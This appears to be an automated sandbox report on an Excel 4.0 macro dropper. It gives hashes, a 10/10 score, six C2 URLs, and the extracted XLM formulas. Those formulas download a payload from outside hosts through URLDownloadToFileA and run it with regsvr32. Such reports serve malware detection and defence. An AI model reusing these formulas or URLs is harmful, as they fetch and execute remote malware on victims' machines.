7752131ba6ade54669305bdfc7092a17a4495c22a44caabaf75116b1b492a36e

General

Target

7752131ba6ade54669305bdfc7092a17a4495c22a44caabaf75116b1b492a36e
Size

46KB
Sample

241120-wps7la1epj
MD5

c3b6140a29e8bf7a5e7de43778bd4412
SHA1

692d39816945aa38afe61b7aedb3f65887955f11
SHA256

7752131ba6ade54669305bdfc7092a17a4495c22a44caabaf75116b1b492a36e
SHA512

e93fad2947059a15945d39de32b43a4b65b195f3da46d7dad5e6f1bb55b6f427bc04544bcd5fca4bb2a03d85d301056ebc3baf6a20ee6612af85013dd03453f7
SSDEEP

768:gOo2ODOevZCwrvtzyzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfpDDG:gOo1D+tT5fTR4Lh1NisFYBc3cr+UqVfo

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://gokcevizyon.com/sBaEb/

http://henrysfreshroast.com/fxNufTnf3ox/

http://sorathlions.com/tmp/z5mkAKCYsVW70w/

http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/

https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/

https://ewestern.com/k/vEQX/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gokcevizyon.com/sBaEb/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/fxNufTnf3ox/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/z5mkAKCYsVW70w/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ewestern.com/k/vEQX/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://gokcevizyon.com/sBaEb/

xlm40.dropper

http://henrysfreshroast.com/fxNufTnf3ox/